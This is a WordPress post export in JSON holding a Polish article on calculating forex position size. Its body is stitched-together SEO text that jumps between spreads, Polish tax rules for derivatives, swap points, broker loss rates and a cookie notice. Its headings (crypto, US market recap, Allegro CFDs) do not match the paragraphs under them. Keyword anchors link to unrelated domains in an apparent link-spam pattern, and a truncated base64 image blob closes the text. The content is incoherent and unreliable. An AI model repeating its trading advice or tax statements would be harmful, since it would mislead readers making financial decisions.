{"id":27639,"date":"2021-02-22T18:48:26","date_gmt":"2021-02-22T13:18:26","guid":{"rendered":"http:\/\/www.kirandhara.com\/?p=27639"},"modified":"2021-07-13T14:00:58","modified_gmt":"2021-07-13T08:30:58","slug":"jak-obliczac-wielkosc-pozycji-w-transakcji-na","status":"publish","type":"post","link":"https:\/\/kirandhara.com\/?p=27639","title":{"rendered":"Jak Oblicza\u0107 Wielko\u015b\u0107 Pozycji W Transakcji Na Forex?"},"content":{"rendered":"<div id=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\">\n<p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">Content<\/p>\n<ul class=\"toc_list\">\n<li><a href=\"#toc-0\">Op\u0142aca Si\u0119 Handlowa\u0107 Monet\u0105 Function X, Czy Polecasz Jak\u0105\u015b Inn\u0105 Kryptowalut\u0119?<\/a><\/li>\n<li><a href=\"#toc-1\">Podsumowanie Tygodnia Na Ameryka\u0144skiej Gie\u0142dzie<\/a><\/li>\n<li><a href=\"#toc-2\">Czy Warto Handlowa\u0107 Function X?<\/a><\/li>\n<li><a href=\"#toc-3\">Czym Jest Inwestowanie A Czym Oszcz\u0119dzanie?<\/a><\/li>\n<li><a href=\"#toc-4\">Jak Handlowa\u0107 Na Akcjach Cfd Allegro W Plus500?<\/a><\/li>\n<\/ul>\n<\/div>\n<p>Wynika to z faktu, \u017ce przy du\u017cej liczbie podmiot\u00f3w zainteresowanych danym aktywem, szybciej i dok\u0142adniej zostaje ustalona cena transakcji. Z drugiej strony im podmiot\u00f3w mniej, tym mniej zlece\u0144 (ma\u0142a g\u0142\u0119boko\u015b\u0107 rynku) i tym wi\u0119kszy spread walutowy. Je\u017celi z konkretnej umowy mi\u0119dzynarodowej wynika dodatkowo konieczno\u015b\u0107 zap\u0142aty podatku w dw\u00f3ch krajach, <a href=\"https:\/\/ensemble-sylf.fr\/7-najlepszych-programow-do-handlu-dla-komputerow-z\/\">kalkulator forex<\/a> nale\u017cy zastosowa\u0107 w\u0142a\u015bciw\u0105 metod\u0119 unikania podw\u00f3jnego opodatkowania. Ustawy w przypadku podatnika uzyskuj\u0105cego dochody wy\u0142\u0105cznie poza granicami Rzeczypospolitej Polskiej zasad\u0119 okre\u015blon\u0105 w ust. 1b ustawy PIT za dat\u0119 powstania przychodu z tytu\u0142u realizacji praw wynikaj\u0105cych z pochodnych instrument\u00f3w finansowych uwa\u017ca si\u0119 moment realizacji tych praw.<\/p>\n<ul>\n<li>Wz\u00f3r na SWAP jest stosunkowo z\u0142o\u017cony, dlatego coraz wi\u0119cej inwestor\u00f3w i trader\u00f3w wspomaga si\u0119 narz\u0119dziami dost\u0119pnymi online, kt\u00f3re znacz\u0105co u\u0142atwiaj\u0105 i przyspieszaj\u0105 proces obliczeniowy.<\/li>\n<li>Je\u015bli jeste\u015b pocz\u0105tkuj\u0105cy sugeruj\u0119, aby zacz\u0105\u0107 od 1% ryzyka na jedn\u0105 transakcj\u0119.<\/li>\n<li>Bank nie ponosi \u017cadnej odpowiedzialno\u015bci za konsekwencje finansowe dokonywania przez klienta transakcji na instrumentach finansowych opisanych w niniejszej publikacji.<\/li>\n<\/ul>\n<p>To Forex kiedy kupowa\u0107 i sprzedawa\u0107 waluty, zale\u017cy od kurs\u00f3w walut i ich tendencji wzrostowych i spadkowych. Warto wi\u0119c skrupulatnie \u015bledzi\u0107 doniesienia walutowe i obserwowa\u0107 tendencje spadkowe i wzrostowe, bo na ich podstawie mo\u017cna dobrze zainwestowa\u0107. Rynek Forex ju\u017c od kilku lat cieszy si\u0119 ogromn\u0105 popularno\u015bci\u0105 w\u015br\u00f3d inwestor\u00f3w. Mo\u017cemy zaobserwowa\u0107 aktywno\u015b\u0107 zar\u00f3wno na polskich, jak i zagranicznych gie\u0142dach. Z uwagi na powszechno\u015b\u0107 tego zjawiska warto zastanowi\u0107 si\u0119 nad skutkami podatkowymi zwi\u0105zanymi z gr\u0105 na rynku Forex.<\/p>\n<p>Przewa\u017cnie brokerzy rekompensuj\u0105 to sobie innymi wy\u017cszymi op\u0142atami czy prowizjami. Co ciekawe, takie konta najcz\u0119\u015bciej s\u0105 proponowane wyznawcom islamu, poniewa\u017c w ich religii jest zabronione zarabianie na oprocentowaniu. D\u017awigni finansowej, kt\u00f3ry pozwala anga\u017cowa\u0107 du\u017co mniejsze kwoty ni\u017c warto\u015b\u0107 faktycznych aktyw\u00f3w kupowanych <a href=\"https:\/\/preprod-beyond.com\/analizy-rynkowe-komentarze-i-dane-makroekonomiczne\/\">kalkulator forex<\/a> na platformie. Odwrotnie rzecz bior\u0105c, w ten spos\u00f3b zysk b\u0105d\u017a strata klienta s\u0105 liczone od du\u017co wi\u0119kszej kwoty ni\u017c klient inwestuje. Taka sytuacja jest jednak obosieczna, bo kursy zmieniaj\u0105 si\u0119 dynamicznie i czasem wystarczy, by dosz\u0142o do zmiany tylko na czwartym miejscu po przecinku , \u017ceby zyski lub straty by\u0142y znaczne.<\/p>\n<p>Ka\u017cdy inwestor mo\u017ce policzy\u0107 punkty swapowe samodzielnie \u2013 r\u0119cznie lub korzystaj\u0105c ze specjalnego kalkulatora Forex. Drugi wariant jest o wiele bardziej przyst\u0119pny, zw\u0142aszcza dla amatora, kt\u00f3ry dopiero pr\u00f3buje si\u0119 rozezna\u0107 w tym, czym s\u0105 punkty swapowe. Wz\u00f3r do r\u0119cznego wyliczenia to lepsze rozwi\u0105zanie dla os\u00f3b bardziej bieg\u0142ych w transakcjach na rynku Forex. Podkre\u015bli\u0107 nale\u017cy, \u017ce opodatkowaniu podlega doch\u00f3d, kt\u00f3rym zgodnie z art. 30b ust.<\/p>\n<h2 id=\"toc-0\">Op\u0142aca Si\u0119 Handlowa\u0107 Monet\u0105 Function X, Czy Polecasz Jak\u0105\u015b Inn\u0105 Kryptowalut\u0119?<\/h2>\n<p>Ustawy jest r\u00f3\u017cnica mi\u0119dzy sum\u0105 przychod\u00f3w uzyskanych z tytu\u0142u odp\u0142atnego zbycia pochodnych instrument\u00f3w finansowych oraz z realizacji praw z nich wynikaj\u0105cych a kosztami uzyskania przychod\u00f3w, okre\u015blonymi na podstawie art. 23 ust. Chc\u0105c mimo wszystko zagra\u0107 na Foreksie, trzeba naby\u0107 troch\u0119 wiedzy w tym temacie, a nie bazowa\u0107 jedynie na pobie\u017cnych broszurach broker\u00f3w i intuicji. <a href=\"google.com\/search?hl=pl&#038;gl=PL&#038;ei=tWb9X92RDufjrgSJ9YPIBw&#038;q=brokerzy+forex&#038;oq\">brokerzy forex<\/a> Jest kilka dobrych ksi\u0105\u017cek z tej dziedziny dotycz\u0105cych mechanizm\u00f3w Foreksu, analiz fundamentalnej i technicznej. Nale\u017cy wybra\u0107 tak\u017ce odpowiedniego brokera, najlepiej takiego, kt\u00f3ry nie jest wspomnianym market makerem, ale po\u015brednikiem w dostarczaniu kurs\u00f3w z rynku mi\u0119dzybankowego . Taki broker nie zarabia na naszych stratach, przez co jest szansa, \u017ce b\u0119dzie uczciwszy.<\/p>\n<p>Z dost\u0119pnych danych na stronie XM, mo\u017cna si\u0119 dowiedzie\u0107, \u017ce 71.61% inwestor\u00f3w odnotowuje straty inwestuj\u0105c u tego brokera. Broker posiada 22 wersji j\u0119zykowych, w\u015br\u00f3d nich tak\u017ce i polskoj\u0119zyczn\u0105 wersj\u0119 swojego serwisu. Opr\u00f3cz tego dzia\u0142 pomocy tak\u017ce jest dost\u0119pny w j\u0119zyku polskim. Z obs\u0142ug\u0105 mo\u017cna si\u0119 skontaktowa\u0107 via live chat (24\/5) oraz e-maila (24\/5). W naszym serwisie stosuje si\u0119 pliki cookies, kt\u00f3re s\u0105 zapisywane na dysku urz\u0105dzenia ko\u0144cowego u\u017cytkownika w celu u\u0142atwienia nawigacji oraz dostosowania serwisu do preferencji u\u017cytkownika. Szczeg\u00f3\u0142owe informacje o plikach cookies znajdziesz w Polityce prywatno\u015bci.<\/p>\n<p><img decoding=\"async\" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' 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aDaXD4VrFQQ4g242UIrM90bsqlqJLV70cdcl5x5Uu0luVcU5vUqCSgoAuDcgW64rUqQpR1TdkZcPha+LqKjh4OUnwSV2NR5vFE1WKvWJ7ZrUn1VhgyzrZzBKGykBQBy31yjyWjG3IV5mdl56W2Y1VlcurOlKVKsTYgX8C5teJykZ0VCnszyWHGRMNBwNuJyrTccFDmMbIWltjeLNglNyeq0XTuYGnFtMg2oHElUU0ud2YVVamSCClxab8Sb2TrcqJMajNNrTDa20bMq0Q4yWF5n3FXSeJ1TxPTEypxthVUsibNekktOGySp0C5vb5SIWGn2phlL7DiVtuJzIWk3CgeBBgQQB6D1TeOuDZfWAp7KFkPuAmwIGoTfnMbconEUksOS2zSsIUE5L71w3FiPF\/wCIxMc3iKjUp1uUqNSYl3XGy4EurCfBHExjRjDDDozN1ySI013w5+EAQ7yWtle9VsrqhWBZKi4u6eseDxi7c17lRnRsuqgeUoKKt44bkW5svPbWJfaxnhd1nlCa5J5MxTcugag2jYla5Saot5im1FiYcYCS4GlhRRfhe3kMAQdN0qrTl95stqyQXFuEIdWkEqNzcZbEdUOKiYkxnh+QTTadsxqIZQoqAWpxRuespiTFYnoCX3JZdXlEutLKFoU6AUqGpBjEvGWGkKfQqsS15ZIW4AsGyTz9YgBj+mBtB9zOe7F\/Rg9MDaF7mU72L+jD5778Nbxls1ySCnzZsF4XUYz1KuUuhsmbq88zKsqcCErcVYEngLwBH\/f\/ALQvcynf3\/owd\/8AtC5tmU72L+jD578cL3sa9Ig7ve6vJ9j0wN4vw066plFbks6DZQLwBGl+eAGN3\/7Qvcznexf0YPTA2he5lO\/v\/RiR5eflKghExIzLb7WYjO2oKFx1iNSZxVh+UqCqVM1iUam0JzKaW6AoC1+HkgBh+mBtD9zKd\/f+jB6YG0L3Mp3sX9GH65ijD7WbeViUGQAq9dGgPAmN4PNvpaeZcC21kFKkm4IgCNPTA2he5lO\/v\/Rg7\/8AaF7mc72L+jEhT9epFLmWpSfn2WHXklSErVa4BteMCsW4aSlSjXJIBBsTvkwAxPTA2hc2zKd7F\/Rg9MDaH7mU7+\/9GJMU4lxtDiCClRBBHODGaAIt7\/8AaF7mU72L+jB6YG0L3M53sX9GJSggCLfTA2g+5nPdi\/owemBtC5tmU72L+jEpQQBF3f8A7Qvcznexf0Yp3\/7Q\/cynexf0YlKCAIpmMcY+mmHZZ7ZlPFt1Cm1gZxcEWOoTDSWxjqWoTFCouBalLIamFTGdaFEkq4iyUAf9ax0HFDwgDmJWHNpVz\/8Aik\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\/wK9\/sgpKXAmdOdJ2mrG2nZ5gxLC5ZNAlg06QVpGayvLrCyxKS8gxLyco0G2WbIQgcEpHAQjyeL8OzrgZamlBRSpRCrjKAQNejiIwHHOFd\/wAmVOkOgqASQRcgXPxREpRj7TLU6FStfu4t26CrV8M0OvKSurU5qZKE5Bnvwve2hhNVs1wOt1D6sOSmdu+UhJGW\/G2vPGQYrofoaqrFbwl0ubonKq+bydsZG8T4fdkfRFmczsm5unMTYEA6eUiJTTWpcCrpyjPu2v4ugsKbQ02httNkpIAHQIzQ3JTFuH6grIw68fDCNUKtmPCF7cotfXtMRGSlwZNSlOi7TVjJFYaGL8e0TBSFP1oOoZCVKCkBSrhIBOg8ohO9N3BaEJdm6k3KoWw1MJVMKUgFDicyePPbmiFOLk4X3XIxkgQRHp2xYDDpZ9HJa+7S4DvFWUDwt0nqh4yz7k3LtzLDSVtupC0qDpsQeBi4FGCG7XcS07DbYdrDiGEkAi7hJIzBN+1QhGd2o4YYblnXXyhE2zv2iSrVGfJ87mgB9xQ8IYJ2sYWG88N0loJLgCV3Te9vkjH6cODt0t3lK7IRvCMq75dNbe+IAWKnhSTrck1Tq5RWZ9mXWpbWZy1iSfCHQbG3b0wnr2Z4WccDq8JMlQvrygjioqI49JJhxzdXk5CkejE2hYaugWQSo+EoJT8oiPcV90dsvwbO0+n1ycnmpipJSphAl1k6ubux6DmFovCnKfsq5SVSEXaTHhIYSpNMdaeksLSbS2H1TLJCgd06pGQqT0Ep00jJiNl5rDkwX0hK3JpCyAb2u6mFeRm5CopdMo9vNw4WnLE+CscR8cJuK0hNBfFz9cNDU\/6iYo1bYsnfczUMWYTrzQtDhCLQx9To15oWhwgSVggggDneCCCN0+dBDS2gyco7TmZp2WaU826AlZSCoaHgYdsNjH32IR+XT8hgauMSlQkn0FruWxmxBiJI4mUb+eYn+qUOmVtDCapTw\/ydYdazcUKA4iIC7lj7Y8Q\/mrfzzHSKlBPGNWqk20z2nZmcqeX05Qdnvv72Ir+FMOTTCJacoEpMNthYQHWkqy5zdVieF+eLTg7C5b3PezI5N6XrbhP9YSCVcONwD70Lm8R0xTeI8aMa2O4227yd2JkhQaLSVPOU2iy0qqYSlDm5aSnMkXsDbmFzp1mKGh0ZTYZVRZdSBwSWk2\/61PbCoXUAXvFN+30waT4omM5Q9ltCeqk0xyVRJOUllUu0SUNFsZUnqECqPSVsty6qMwW2r7tBaTlTfjYc0KG\/b6YC+3wzCJ4ENtu7NNVPkjLiU9DUbkC2TILW8ka6KDRG1Z0UOWBJzaMp4wqb5HTBv2\/GEQ4p8UWjUqRVoyaNOYp8jNrDk1TG3VJGUFaAbDojEqiUdYCVURggX03Sba6wo75vnVBv2\/GESUNTkMkJfkgpqAyBYICABaMDdEo7RSW6MwkpNxZsaQpb9vxhBv2\/GEQ0mXjUnFWi2jSmKdT5soVM0ttwoGVJUgGw6BFzMlJS6VIZpjbYV7IIbSL9kbe\/b8YRXfNePElPETU0akJVnTRZcKve+6TeLmKXTZZxx1ilNIW6Mq1JbAKgeYxv79vxhBv2\/GEV0roZHVqS2cm\/eaJpVMLZa9B2ch4gNJtFxp8iW22vQ1GVo3QMgsnyRub9vxhBv2\/GES1com07o0penyMpn5LTUNby+fKgDNfjeMQodFBJFDlxc3PrSYUt+3zqEG\/b8YRKSXANuTvJ3NCXpNLlFlyVo7TStfCS2AYwvUWiLC3JijSygoErUppJ8usKu\/b8YRY6ph5CmnLFKhYjqiGk+JMZyhvF2ElU1h1MqmVW3LcnKvBQQMtxFzU1h9lpxthqXQ3fw0pAAueke9AvDtCcbQ2qWTlRoACYqMPUMbwBn+tIKvCOp\/6MT4EXbep8SyXmMOytxLNSzeUBVkAC3QdIUG6rKOIDiHElJ4HMLRpt4foTTBl2pVKEGxOUm+huPjjGMMUABSTL5gRlsVGwFraQslwJlJy3bNSvUzB+IlGTr8hKzgUDZt4BQsQB8ekZWML4Uel2gzQZRxlDaG27soUAhAskC44CNpGHqElwO8mBUAEi5J0GgEKUrKS8jLJlZVsNtNiyUjmERZXuV4biOnCeGkLS6jDsolSQAlQYRcAcLaQqNt7pAbbbcSlIsEiwAER\/tI25YY2a1KXpVXZmXH3296Ay3msm5GvZDR9V1gT+5VH9BHMq5xhaM3CTd14M0K2a4LDzdKrVipLirk1TMlLzqN3OSe\/T0OISofGI1O92iWQDRGCGk5EAspISm97DTp1iIPVdYE\/uVR\/QQeq6wL\/cqj+gjH8+YPq\/RmL57y7\/AHo+pLvezQRbLQ2RYW0aTw1HR1mKrwzQnBZyhsK0tq0nhYDo6AOyIh9V1gT+5VH9BFPVdYE\/uVR\/QQ+fMH1fox895d\/vR9Sb900WeTrlCpvxVJBHZCZU8J4WrMy1N1fC1PnH2NG3H5VC1I1voSNNdfLESeq6wL\/cqj+gg9V1gT+5VH9BErPcIuDfoyPnrLX\/AFo+pOSVFAITLqAOugEI+LbigPEi132jb\/1ExEh7rnAp0EjUf0MPuUxtS8f7P0YkpCXEy8w8gAOJyqBS8Em48ojPh80w2Kn3dN7+TNnDZhhcZJww9RSa3smOOhfW6YWxwhEoX1ujyQtjhHQNwrBBBAHO8EEEbp86CGxj77EI\/Lp+Qw54bGPvsQj8un5DA1sX9BLyFvuV\/tixB+atfPMdKRzZ3LH2x4h\/NW\/nmJ+rmJsPYd3Po7X5Cml8kNcqmEN7wjjlzEXjVqe0ex7N\/VtP3\/iIGLMR4tpdZYkqHh\/lsu4wVqdN7Bd7WNoSDjTaG4sJbwSpsXCSpZOikqUF+97Eg8+sOBW1DZ4kXVj\/AA+B1z7X0os9NXZueG0TDn7RZ+lGrKnNu6m16HrqWMo04KMqEZNc3ff0YmzuJsfMolktYbbU8+0VKQLkJVci1+AsAD13jHN4l2hySshw6y6c5sW0qI0QkhPvqJF+qHvT6jKVWUaqFMqEvNyz4zNPMrC0LHSCNDwjZ9d8dPZDupfbZMcdRVr0I\/f8Ro4ZxFiupVUyVcoPI2ktqutIJBULa36DfTyGHar+uH4h+UQErAuXUgdcUCVlWYOJuNIyQi4qzdzUxFWFaeqEFFdENnHNbxdRjKLwvQk1IKDiphJVYgAaAdZMM1raDtXEywidwGWWlbpDpSCohzMAsJ6R7KxiWfXPvieyBSlpSVKdSAOc8IuYAdN2z5IRcWVqp0OTYmKZTHJ1bjm7UlCSop8E2OnNe0LK0rWkpLgsdICVN2C3ki5sL85gCJk7RNqLbd3sEKW2vKUTDbS9APZXQdR1eSFKt4v2kSU+hFOwwmYln2ELaJQQpKy0VFCub2QA9+JIu4RcOJivrvjjsgBgYLxXtBrFZRJYkwmmnyoaUtb+tiqwypHv5r+9D\/a9v+NBZ3xx2RaEOJJIWNdeEARnVsdbRpTEU7TKbg8zco0opl3sigHDbnPMB088a0ptC2mTEpMPu4LW0prdZUqQq6rqsoDp04eSJXs7447ILO+OOyAImO0HaWWA73pFK\/Bu2WFk6k34eQD37xRe0PaonI05gbcvpSStORakK0vcK5rDmPPEtWd8cdkFnfHHZAGhSpuanqHLTk7LqYfeYStxpQsUKI1FoTMb1mvUSjNTWHqbyx9TqULGUqypIOthqdbD34cCkOLBSVjXThFQlxIsFjsgCNqFjXaPUJ4SVWwfyAhhxW9IUpC1hN0AH4jGszj7aSxMFmewepzQIO6aXoo8DfgQfiiU7O+OOyCzvjjsgBh4XxZjmpVKUlathjcyr2bfzABTuFD2mU6ny8IfY9mryCK2d8cdkWhDgUVBYueqAI4xDtAxzJT0zK0nBkw8zLLdbVNFtRSCFgNkJGqgU3Jt1Qmo2h7U1zO47ySkKKxfdqASoJJSm543sNeuJBxFjPDOEiyMTYkp9M3991yp5Lee3G1+MZaTiqgVynCrUeuyU5JFzdB9lwLQV3tluOe8AWYZn6tVMNyc9XZDkU+60lUxL\/e184haHsY02Z6VnV7lidacURmsggm17X7RaN21kkXgDjrutPt9p+n\/AOvHz1RB8drbYsBbK8RVOSnsd4nlaTNhotsh2dQwXEXvwUddSdYj70ne5790Wn\/tVrzx4jE5biVWlaN02zwOb9mMdj8bUxFLTpk9rvw8jnej8hNTlxU7GVKzvQokC1ja9ua9oeho+y2aYdmkVuZZyJUpxCU6JUTYBAOqukdUSoNjnc9nhtEkD\/7q354r6Tfc\/D\/vDkf2q354ingsVFaXSua9LsrmNJNSjB+bZEiabsvaUomsTD2bMkJNxbQZSD0XuDGrLS+z2ak5dUxOPyz8uygvpSL79ZAuE9FjeJmGxnufjw2gyJ8lUb88UOxvufBx2hyA\/wDdW\/PFng8U9u5LfuxmF76KfqyIKhT9mgo75kavMGdSlbrOYEXV4IS2R8LX34ZEdLek33Ph\/wC8OQ\/arfninpOdz57okh+1W\/PGKeAxUv6djFW7JZjWaajBeTOao672I\/cQlPzg\/wD+kw2Rsc7nrMEnaLIAnT7KteeJhkcG0fA2z1qg0N1bko062tC1rzFWd0Kvf343sqwGIp4qNScbJXOz2dyDF5TiZVsRazjbZ35p\/kOShD6nT5IWxwhFoekujXmhaHCPWnsCsEEEAc7wQQRunzoIbGPvsQ3+XHyGHPDYx99iEfl0\/IYGti\/oJeQt9yv9sWIPzVr55hZ7prudKxt0qOE6pRq\/JU17DLz7wE0wXUuFwJFrDm8GEbuV\/tixB+atfPMTRtC2oYO2YSMtP4wqfJGpx0ssgIKitQFzoOqNWp7R7Hs39W0\/f+Jy1Mdw7jaaXK8oxBhB1qVQ8ndOUtRDm9TkUVHj7G4HRfTgItnO4Sr83TpmnIcwMwmbbW0tbVMcChmHEG\/EWuOuJt9VxsT\/AAhe\/V1RT1XOxMccRO\/q6ox2R39TFvZJsgc2cbMcN4CdrS1u0GVXLb+XBSleZwquAeHG3bDo7ymgvOmtVEWCbAvXAIPH3+ER56rnYl+ETv6uqD1XOxP8Inf1dUSVJJlMMrkUOJTVZuY3q0K9fVmy5V5tO20YnMGtOurcNXnkpUpSsqXLAEm8R36rnYl+Ebv6uqD1XOxL8I3f1dUAP5zAbK7J9HalkFjl3vPGeXwmZNh9purTb+\/Tls+vME6g6dkR16rjYn+ET36uqD1XGxP8Inv1dUASLO4NanJozQq8+0SsrKUOeDcjmHNF8thhUm2ltNTmZj6oQ8S+rMRYk2Hb8URv6rjYn+ET36uqD1XGxP8ACJ79XVAEgLwO2orCa3PoS4VEpS5YC55oXKXIehkk3J8pdmN3pvHTdR154iP1XGxP8Inv1dUV9VxsU\/CF79WVAEzQRDHquNiY44ie\/V1Qeq52JfhG7+rqgCZ4Ihj1XOxL8Inf1dUHqudiX4Ru\/q6oAmeCIY9VxsT\/AAie\/V1Qeq42J\/hE9+rqgCZ4Ihj1XGxP8Inv1dUV9VxsT\/CF79XVAEzQRDHquNif4RPfq6oPVcbE\/wAInv1dUATPBEL+q92G\/hOv9AYp6r3Yb+E6\/wBAYA0e6awhi3FK6L3s4eqtTDAc3pkRKnJe1s2\/B+KFjYzhnENH2aopVaoVQkJwTxcLEzyfeZc4Ob1sBFrdV41h3XWxBXsMSOK8kuqK+q42J\/hE9+rqiEtybkiUCnTkpPbx+WdQjdKTdWS194o8wvwMOIxFFD7qDY\/iGrylDp2IVmannUsMpUwpIUtXAXiVzwiSDyf\/AKYFU6drGCkyjrid3RFu+CogCzytY4+wTPMVKnhusTsyJl9xW6eKzbQ2ykdHnjsb+l4UkbWcJ5jYHDjvP\/rKjhrC6XHpFuXS4LqzKQlZGUnNbhxvrzRysVvJpnWwl1BWJJq8o9SZJTZLzbiSCLqPPz3543sMhU7RXX966qYZmQFrKvBDahZJ94g9sOPBOI9lVSwo3IbR26gmbbq996ygr+og0myQrQi6wq\/lhVws5sPZnQxLVuuBmdXkdaEv7BslRsLnUghGp96NJUdFT2tn4m13rlTu47rwGpVZealqbNOtTSt+gtJaKFc6if8Akkwk0eamZiUImXFuu5zz3NiBYfHEt12Y2NMyaUzj9WazlBDaR\/WKTnIBUeHskg\/Fzwg4Qn9kdNp5M+5PMq5ZOATKWCtwDwiwRrlACclwdcwPNF50n3iSlb3kQqru29P3DCxFPN01s08TLiKldLim0n+rR19eoilGamZ2npmplxRClqu64qyE68Lw8Z07A5xS+XzGImpoJVd8pBW+m6chI6\/DUfxgOYRE9Wq60Ts\/L0sOCksLWZRt8lWVClc9uKgFJis6SVX2rrzJjUbpX07mrtErjtNmW2KLPKW0Mzbi73SVWB8HotePd7DKlL2IYWWskqVSKWSSbm+RuPn3xG9Muysup9xCvDvlQRZJIHMOEfQPhf7h2FP9opfzG46eBSUXY5uObclcdlC+t0+SFscIRaF9bo8kLQ4RvGiVggggDneCCCN0+dBDYx9pR0flx80w54bGPvsQj8un5DA1sX9BLyFzuV\/tixD+at\/PMIXd8FSaBhMoTmUJx+w6Tu4XO5X+2LEH5q188wid3sQmg4TUogATr9yfycatT2j2PZv6tp+\/8Ti1MxUyoBUigDQEhfVraL6i7NtST65FJU+lslsBIVc+Q8YGajTn0pUxUJZ0LVlSUPJNz0Cx4xsac4ilju3ER2fxDlQWZNXrKrvZkJGdNz7H3re\/FqqjiJKUJMqQ4lz1zI2LKSbWAN+bW56oXSkK0KR2RbuWvvYgSkaMlUJhmmuTdWVu91dV1ICSU2HEDruOyG\/P7REpSBTpIrVvEglwgDJfwj5bQsYqlXnMPziZGVU6\/u\/W20JKlLVzJAGpJhp4Lw7iHlc03jDZbiNUuuWXuHESEylTb3tdAnX34htLiLNiv6YUlnV9RPEHh4QivphyX9wd+EId9M2VYCU00\/PNYvG\/aeztKpD+Zg3IbVo34SvYkjhzxp4d2T4fqs\/WKZP0\/FEspiZdXT3lUt9KXJVpu5ClZLZlE6ae164rrj1J0MbnphyX9wd+EIPTCkv7g78IQ6qlshwnTZ1iS5PjCZU6L50Ux0ISkt5kqUd34JJsm2to057ZlhiSw7VqhTpPFlQqLbKhIyrlFmG87hByg2RzGxvFtS6jQxuPbRGkgFimrX0hSwIo1tFQbb2mEC3tVwzO9vaf7muIP2a\/9GDvb2n+5riD9mv\/AEYal1Isx3Te0B31vkcupPhErzWOnMBGq9tDq6i2G5dAFrLVYX8vl4Q2+9vaf7muIP2a\/wDRg729p\/ua4g\/Zr\/0Yal1FmPlG0WUyJK5F0LsM1lC1+eMS9ooM6gIkDyUtnOSoZs\/Nbqhl97e0\/wBzXEH7Nf8Aowd7e0\/3NcQfs1\/6MRqXUaWPdG0KTCQkyLpI58w1i70w5L+4O\/CEMbvb2n+5riD9mv8A0YO9vaf7muIP2a\/9GGpdRZj4VtDk7HLIO3tpdQ4xro2jrBAcpNxzkOQz+9vaf7muIP2a\/wDRg729p\/ua4g\/Zr\/0Yal1FmPP0xEqSo+hxB9qM8LdJxDKVtlYlwpDjdsyDxt0xGPe1tP8Ac1xB+zX\/AKMOXANPxRT6u83iLDVQpOdglsTcs41vNdcuYC9onUnzFmh0I9GDUlJU2ky29NjuwPB6On34Vt034ieyDdt+KITsRTc9S6NNVGlUxM\/My6C4mXKinOBxsRzxJAoFIS4gJTYG97RfCPhKqVOt0Jiq1akCmvzAzCXzEqSnmvfgeqFiITuri1h1bKvumYV\/3eV\/iCPUyPLPZV90zCv+7yv8QR6lngYkHk3\/AEwqijaxg0ggXoSxqL\/2q44PpMypuUQEvywylQAd